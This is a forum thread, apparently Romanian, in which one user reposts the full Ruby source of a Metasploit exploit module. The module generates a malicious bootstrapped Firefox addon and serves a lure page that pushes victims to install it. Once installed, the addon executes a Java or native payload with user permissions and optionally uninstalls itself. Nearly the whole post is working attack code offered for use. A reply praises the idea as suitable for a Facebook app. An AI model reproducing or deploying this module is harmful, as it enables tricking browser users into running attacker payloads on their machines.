LLegoLLaS Posted April 11, 2012 Report Share Posted April 11, 2012 ### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# web site for more information on licensing and terms of use.# http://metasploit.com/##require 'msf/core'require 'rex'require 'rex/zip'class Metasploit3 < Msf::Exploit::RemoteRank = ExcellentRankinginclude Msf::Exploit::Remote::HttpServer::HTMLinclude Msf::Exploit::EXEdef initialize( info = {} )super( update_info( info,'Name' => 'Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution','Description' => %q{This exploit dynamically creates a .xpi addon file.The resulting bootstrapped Firefox addon is presented tothe victim via a web page with. The victim's Firefox browserwill pop a dialog asking if they trust the addon.Once the user clicks "install", the addon is installed andexecutes the payload with full user permissions. As of Firefox4, this will work without a restart as the addon is marked tobe "bootstrapped". As the addon will execute the payload aftereach Firefox restart, an option can be given to automaticallyuninstall the addon once the payload has been executed.},'License' => MSF_LICENSE,'Author' => [ 'mihi' ],'References' =>[[ 'URL', 'https://developer.mozilla.org/en/Extensions/Bootstrapped_extensions' ],[ 'URL', 'http://dvlabs.tippingpoint.com/blog/2007/06/27/xpi-the-next-malware-vector' ]],'DisclosureDate' => 'Jun 27 2007','Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ],'Payload' => { 'BadChars' => '', 'DisableNops' => true },'Targets' =>[[ 'Generic (Java Payload)',{'Platform' => ['java'],'Arch' => ARCH_JAVA}],[ 'Windows x86 (Native Payload)',{'Platform' => 'win','Arch' => ARCH_X86,}],[ 'Linux x86 (Native Payload)',{'Platform' => 'linux','Arch' => ARCH_X86,}],[ 'Mac OS X PPC (Native Payload)',{'Platform' => 'osx','Arch' => ARCH_PPC,}],[ 'Mac OS X x86 (Native Payload)',{'Platform' => 'osx','Arch' => ARCH_X86,}]],'DefaultTarget' => 1))register_options( [OptString.new('ADDONNAME', [ true,"The addon name.","HTML5 Rendering Enhancements"]),OptBool.new('AutoUninstall', [ true,"Automatically uninstall the addon after payload execution",true])], self.class)enddef on_request_uri( cli, request )msg = "#{cli.peerhost.ljust(16)} #{self.shortname}"if not request.uri.match(/\.xpi$/i)if not request.uri.match(/\/$/)send_redirect( cli, get_resource() + '/', '')returnendprint_status("#{msg} Handling request..." )send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )returnendp = regenerate_payload(cli)if not pprint_error("#{msg} Failed to generate the payload.")# Send them a 404 so the browser doesn't hang waiting for data# that will never come.send_not_found(cli)returnend# If we haven't returned yet, then this is a request for our xpi,# so build oneif target.name == 'Generic (Java Payload)'jar = p.encoded_jarjar.build_manifest(:main_class => "metasploit.Payload")payload_file = jar.packpayload_name='payload.jar'payload_script=%q|var java = Components.classes["@mozilla.org/appshell/window-mediator;1"].getService(Components.interfaces.nsIWindowMediator).getMostRecentWindow('navigator:browser').Packages.javajava.lang.System.setSecurityManager(null);var cl = new java.net.URLClassLoader([new java.io.File(tmp.path).toURI().toURL()]);var m = cl.loadClass("metasploit.Payload").getMethod("main", [java.lang.Class.forName("[Ljava.lang.String;")]);m.invoke(null, [java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.lang.String"), 0)]);|elsepayload_file = generate_payload_exepayload_name='payload.exe'payload_script=%q|var process=Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess);process.init(tmp);process.run(false,[],0);|endzip = Rex::Zip::Archive.newxpi_guid = '{d0df471a-9896-4e6d-83e2-13a04ed6df33}' #TODO randomize!bootstrap_script = %q|function startup(data, reason) {var file = Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).get("ProfD", Components.interfaces.nsIFile);file.append("extensions");|bootstrap_script << %Q|xpi_guid="#{xpi_guid}";|bootstrap_script << %Q|payload_name="#{payload_name}";|bootstrap_script << %q|file.append(xpi_guid);file.append(payload_name);var tmp = Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).get("TmpD", Components.interfaces.nsIFile);tmp.append(payload_name);tmp.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE, 0666);file.copyTo(tmp.parent, tmp.leafName);|bootstrap_script << payload_scriptif (datastore['AutoUninstall'])bootstrap_script << %q|try { // Fx < 4.0Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).uninstallItem(xpi_guid);} catch (e) {}try { // Fx 4.0 and laterComponents.utils.import("resource://gre/modules/AddonManager.jsm");AddonManager.getAddonByID(xpi_guid, function(addon) {addon.uninstall();});} catch (e) {}|endbootstrap_script << "}"zip.add_file('bootstrap.js', bootstrap_script)zip.add_file(payload_name, payload_file)zip.add_file('chrome.manifest', "content\t#{xpi_guid}\t./\noverlay\tchrome://browser/content/browser.xul\tchrome://#{xpi_guid}/content/overlay.xul\n")zip.add_file('install.rdf', %Q|<?xml version="1.0"?><RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"><Description about="urn:mozilla:install-manifest"><em:id>#{xpi_guid}</em:id><em:name>#{datastore['ADDONNAME']}</em:name><em:version>1.0</em:version><em:bootstrap>true</em:bootstrap><em:unpack>true</em:unpack><em:targetApplication><Description><em:id>toolkit@mozilla.org</em:id><em:minVersion>1.0</em:minVersion><em:maxVersion>*</em:maxVersion></Description></em:targetApplication><em:targetApplication><Description><em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id><em:minVersion>1.0</em:minVersion><em:maxVersion>*</em:maxVersion></Description></em:targetApplication></Description></RDF>|)zip.add_file('overlay.xul', %q|<?xml version="1.0"?><overlay xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"><script src="bootstrap.js"/><script><![CDATA[window.addEventListener("load", function(e) { startup(); }, false);]]></script></overlay>|)print_status("#{msg} Sending xpi and waiting for user to click 'accept'...")send_response( cli, zip.pack, { 'Content-Type' => 'application/x-xpinstall' } )handler( cli )enddef generate_htmlhtml = %Q|<html><head><title>Download</title></head>\n|html << %Q|<body><center><p>Addon required to view this page. <a href="addon.xpi">[Install]</a></p></center>\n|html << %Q|<script>window.location.href="addon.xpi";</script>\n|html << %Q|</body></html>|return htmlendendsursa: bugsearch.net Quote Link to comment Share on other sites More sharing options...
backdoor Posted April 18, 2012 Report Share Posted April 18, 2012 Adevarul e ca mi se pare super inteligenta ideea. Asta e misto de pus intr-o aplicatie de FaceBook . Quote Link to comment Share on other sites More sharing options...